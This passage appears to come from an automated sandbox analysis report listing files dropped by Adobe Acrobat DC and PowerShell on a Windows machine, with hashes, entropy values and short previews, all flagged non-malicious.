SHA-256:	71F90972785D67DE3A06762C64B021A5BEAEC620697288C15669C9EDA8340660
SHA-512:	50EECCACC078E6F02F42934D982C21CEA7AA846D842F21E946B0E61AD867E4E3299E19E4CDDE74263A102DE2C9702FC64E0B06BECC109266AF894FBE1FE235C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.309471934009671
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJf+dPeUkwRe9:YvXKX6JQWWT5LjIPm2G28Ukee9
MD5:	C49D1C30EC555147236FC9BA050EA24A
SHA1:	313F385C59A0266BA59A98E59BCB6BDDDA1DD89F
SHA-256:	246FC7D63D0F659A751EC04397274E753CBA5EA113F8834F77EEA3C5D94BA59F
SHA-512:	1BC9FAAE7344ECB973E14522A8DCFE66D024DD750903B93578601E65C97B0452BE09F3B6496DD9DDF1C19F2B3DD7026D02F14990E5790DED89C657F763605394
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.306113454902731
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfbPtdPeUkwRe9:YvXKX6JQWWT5LjIPm2GDV8Ukee9
MD5:	D48AB1C0C4F53E49FECAE86880B15DDA
SHA1:	03A851CC38804B7C6EDD56E0CD89AC22D5231371
SHA-256:	54808A067501E2986E1AD7742D728C5F790CCA46E63D979A058BD07BA8B715E4
SHA-512:	31D279F6C713C37D6EC45775E2EEC660EDEC9F0A993BAA5FE5503BAF31F573057E3B7598C99EC4F4B7A605E59F4749EC6DB51D8CD2C55B654E7E6916F8FC6B50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2981878961072315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJf21rPeUkwRe9:YvXKX6JQWWT5LjIPm2G+16Ukee9
MD5:	7306899D1467A75AAF36D0BCA6FB8DE8
SHA1:	5F61CFE41A0E26849F089974FFB8209540ED3E22
SHA-256:	9A3076B05E67410CB0917FE7564D98C68CCE40D5A80D4C4B4D1133953D5983A4
SHA-512:	909496B6BBB4DCDCB4CE48E785F35EB1C75114FA5369A013BAE5A4E99039714FDA0EFBCF9A85A983AAD87A41F74DB03F9ACA43E742D3096E2E18268C768540C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.672260198365476
Encrypted:	false
SSDEEP:	24:Yv6X6mrT5XIMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSu:Yv52X1BgkDMUJUAh8cvMu
MD5:	FE34D2B34188C87E613D9CD9A25229B8
SHA1:	B0BBA8DE14A6E43D9B775CF30125F0151E63C4D3
SHA-256:	F6190B5045E82AE222C9C26780D8E67269E61DC7F4EFF0A2D821D82D9972901E
SHA-512:	4021260013750349169AE3E42BA016B786D930553C6EE3383F6261E56016E0714FC9DA83C5D5DCE21B00350D79DF5FA1AA422725978BE96F4A8345FF19CEFCF5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27231926868056
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJfshHHrPeUkwRe9:YvXKX6JQWWT5LjIPm2GUUUkee9
MD5:	1B49972FC7B0999CB7B27157C4E586DD
SHA1:	1A183BF0C755DFBF4FED09EEBEEAE691F359E9E2
SHA-256:	310496B72A17688EFC5D43D229BA49BF58EB3017BDAF353F021D688EDC725630
SHA-512:	F4975D7BFC6842AACEDF135AB1A445501154AAB0900CD53A2F5A3212A4780CCFA440FEE16353E488A7109EF5D31E9FDAA174EF6C15C6890BBE1C942CBE83ABEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2742309446649065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRcyMQ6XOAvmSg1c2LjcWkHvR0Yi5oAvJTqgFCrPeUkwRe9:YvXKX6JQWWT5LjIPm2GTq16Ukee9
MD5:	B3770B06E917E8FDE28230986425C1DA
SHA1:	34E3ECB9A8250E7C65181A237762E1B92FA34232
SHA-256:	0211CCDBBC476C35E03D8864048A4131A7CA89FC128CF130951B880444F5EA80
SHA-512:	94C7B236EA9A04890BA128CDEBCDED33CAACBDD012B5A9A7B9F3FA351095F7D89CF0D12D3D885F182ACDE68107698D728CA8793E4C047092F7BDD04B38471C26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96e99642-2785-48b2-b2b4-dea717d2bf1b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736700081411,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.126118531289501
Encrypted:	false
SSDEEP:	24:YzXEjaGtd8ayFYPcEdqpJmMrAMAqNhcjGzbj0SHSZk/2fx2LSHMCJ+Y8DP0ovR5R:YzXINWpwGSGz3R+xi3dDM+P9J7f
MD5:	BD4103D01525602963A1FE39DF0BD13E
SHA1:	F97361010ACDF00BDDC738B98E5312E2936DE932
SHA-256:	DB900B5A623FCF02DEC3CA57C6207F16EAB68D729BF6440A68C31B78A876D685
SHA-512:	1DF413CCCBEE09C8C841962B14F68B2FAD2B7DB24799E3EC49E0B6877A8118227ECE8983E516449D1ACAEE9667A9651031C2CFB5C9076EF167512B3DA464F53F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fb476592e53122d6f2ae7eb736d04bd1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736522301000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6a6fb90850a8e84f21aeaeefd3b83fd7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736522300000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0b1eaa50aded63d2490f1b26817aff16","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736522300000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ed0375d33916fd8b8a9681e0f841305c","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736522300000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"149096ca68223d533d5eb85b51b86957","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736522300000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cd6aab699dc04935be65fd554d2fcfd3","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3655805817950093
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDufHWcXKdqEKfS8EKfM1baXHWcF:Tll2GL7msMcKTlS8fcsu/WzfIXWw
MD5:	3864D10F54E78B10E8C9553F3CF73237
SHA1:	B386E786BA4C6FD57B7D1EC36EB2BDF4475BCA8B
SHA-256:	2915BB530CCA20DB2C8E170AA98FC4AFC91D6B89197A45CADA77E1E3F3F1F686
SHA-512:	125660EC531B93F4C7F009FC0AA22420B4E921D34C1081368B36F73BF6DC11C1EAA72AD83A7A36D60238DC8EE20BA7C06D32ED958D7975CC2AC43CB8544A7998
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8399734904840095
Encrypted:	false
SSDEEP:	24:7+t/Z6bqyKn6ylSTofcNqDufHWc+KdqEKfS8EKfM1banbqUqLKufx/XYKQvGJF7v:7MxcKTlS8fcsu/WWfIRqGufl2GL7msL
MD5:	7FC5ECA54A3346CF3CD12CA6EFF00146
SHA1:	A30C579342FC8C688986BA8BF7D1F61CE7D1548E
SHA-256:	CD835D019D37FC2C0415A8D8FA32E4DFFC0321929C4E686987ECE1ABE80577CE
SHA-512:	FC819A2D5AA7B20E4570DA29F2ADEA0F4A0EA3F1AB66D49A07740D920FE8C3FDDA6DE7C0D7E751CA63A32AE9EA1E4FA77A24BCF91C8EF236EF8F4B16B205984C
Malicious:	false
Preview:	.... .c.......L...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgnXQ51KXkars9XouRc2oPJfo1QYyu:6a6TZ44ADEnX/XkuspoHhYQK
MD5:	16D8B986F9CFF30FF7E630F327049E00
SHA1:	1DC8233384EB2E4D1DF348DB7DD4D4741EC5095A
SHA-256:	357877C476B89ED5C7F1495598B882BDDA0C3EBA4C11689B04CDB9C1E8301A0F
SHA-512:	3128CA136AEB477FD51A4EDBC1FFB7843D4489A2B4C36BA2010FD51ACB2D79E41C6101F32F586418D5B5EFC82243BF1B60BDCBC82F79E48811AD027FB7904092
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIa66ed.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEdNlNlH:Qw946cPbiOxDlbYnuRK+bD39
MD5:	092B4068403B65567CB5B83D4EC7B05D
SHA1:	226174ED8D1991E292A12CE2106917CA9244649F
SHA-256:	D20FD86109FF88566330396846DF7CBDA3D25C572D55B13562B9ACC6ED86547B
SHA-512:	767BB6321022CA054E4023F59B2220080D1DCA2F53045696D1A7AD7C32BE54D302B292E39AE96869972C663070AE70E9EB1932D5DB2B07A0C6C13206B598A599
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.0.:.1.8.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j440x15n.brx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wb20hzob.vfe.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 10-18-13-144.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.360590791286909
Encrypted:	false
SSDEEP:	384:lP178+dBAVkWlnT/D/BMzUo5lGo98JVNAHuK40oJWa5MCoH5Z2xMvkvCjjtIm/fJ:/i2
MD5:	BCF04CBD41564537CE3BA253A3837437
SHA1:	00DF4EE67A016BCFE880E87EE92DD0E0B0E08B10
SHA-256:	16CCBB5AC901E1CE387C0E369A660E67DD33701349E52588B500A62080211065
SHA-512:	8C9600E974CB068F927D08DAC5BA0476C0404BA28578E19A966D70B15D0A4A99D83935DBB7EDE5E1554BE90145B1D7BFC3B26A6296DF6FD739BB76E4437C3EE1
Malicious:	false
Preview:	SessionID=8585adc7-1754-46d5-8414-5ef4237699db.1736522293154 Timestamp=2025-01-10T10:18:13:154-0500 ThreadID=4316 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8585adc7-1754-46d5-8414-5ef4237699db.1736522293154 Timestamp=2025-01-10T10:18:13:160-0500 ThreadID=4316 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8585adc7-1754-46d5-8414-5ef4237699db.1736522293154 Timestamp=2025-01-10T10:18:13:160-0500 ThreadID=4316 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8585adc7-1754-46d5-8414-5ef4237699db.1736522293154 Timestamp=2025-01-10T10:18:13:161-0500 ThreadID=4316 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8585adc7-1754-46d5-8414-5ef4237699db.1736522293154 Timestamp=2025-01-10T10:18:13:161-0500 ThreadID=4316 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.378894992691895
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmEOcbwIfjcbx:8qnXopZ50rwRf4
MD5:	C6982FD845AF62258364299E2DF2D92B
SHA1:	99A9453BA224CD9BB97D972B9BA1444A83DE6CE7
SHA-256:	2C9D29477B3B1ABE1742E64053DCE8EAF2AC8FDB03F44046FF6A6EC8E5B308DC
SHA-512:	B0FE1DC57F77FF5D22D92DF732CE2823F5682295E46451158EC9DF717F0CC2A059696450104FFA9CCDD220D6FB2917B269F16E0861C2300981CED2C3B43D3BAB
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\050d4d5a-4175-4f39-a669-cede862e4a13.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRaWL07oXGZ4YIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRaWLxXGZ4ZGh3mlind9i4ufFXpAXkru
MD5:	41034A6B023B6BB9C723DA146E190954
SHA1:	22C95166FF8A1C4D2AAC25B75D804CEBAAA6ACF2
SHA-256:	52BB8B0CA62248721986D650004C11ACCB0C988B6FBA645D9B4E3557CA87A15D
SHA-512:	6F8CD54BBB750E32FEBD78895F433CCF0C553C56E6B7DDEA03E3EA36ED283084CF6EA6FA8999162999D184B0F04B6E6DAB7F6FC27648EE517F744D7E8DBC8AAD
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\09965245-6652-447f-9070-49f3780772eb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
